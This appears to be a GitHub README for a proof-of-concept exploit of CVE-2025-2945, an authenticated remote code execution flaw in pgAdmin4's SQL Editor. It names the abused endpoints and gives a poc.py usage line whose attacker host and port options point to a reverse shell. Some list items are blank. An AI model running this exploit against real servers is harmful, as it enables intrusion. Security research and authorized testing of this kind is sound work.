
Proof-of-concept exploit for authenticated remote code execution in pgAdmin4 (CVE-2025-2945) via SQL Editor abuse. Designed for authorized security testing and education.
This repository contains a proof-of-concept script created for security research and authorized penetration testing involving the vulnerability CVE-2025-2945, affecting certain versions of pgAdmin4.
The issue allows an authenticated pgAdmin user with access to the SQL Editor to trigger remote code execution by abusing the Query Tool panel initialization flow. This PoC demonstrates the vulnerability for educational, auditing, and defensive purposes only.
This tool is intended ONLY for:
Do NOT use this tool on any system without explicit permission. Unauthorized use is illegal and unethical. The author is not responsible for misuse.
The vulnerability stems from logic flaws in the SQL Editor initialization endpoints. When interacting with /sqleditor/initialize/ and /sqleditor/panel/, the application mishandles user-controlled data, ultimately allowing crafted payloads to execute arbitrary backend commands.
The PoC exploits the following endpoint sequence:
requests librarypython3 poc.py \
--target-url <pgadmin-url> \
--username <pgadmin-user> \
--password <pgadmin-pass> \
--db-user <db-username> \
--db-pass <db-password> \
--db-name <database> \
--Rhost <your-ip> \
--Rport <your-port>
(A full example is already provided in the script’s help section.)
poc.py → The exploit proof-of-concept
README.md → Project documentation
Admins should:
Author: UdayVeer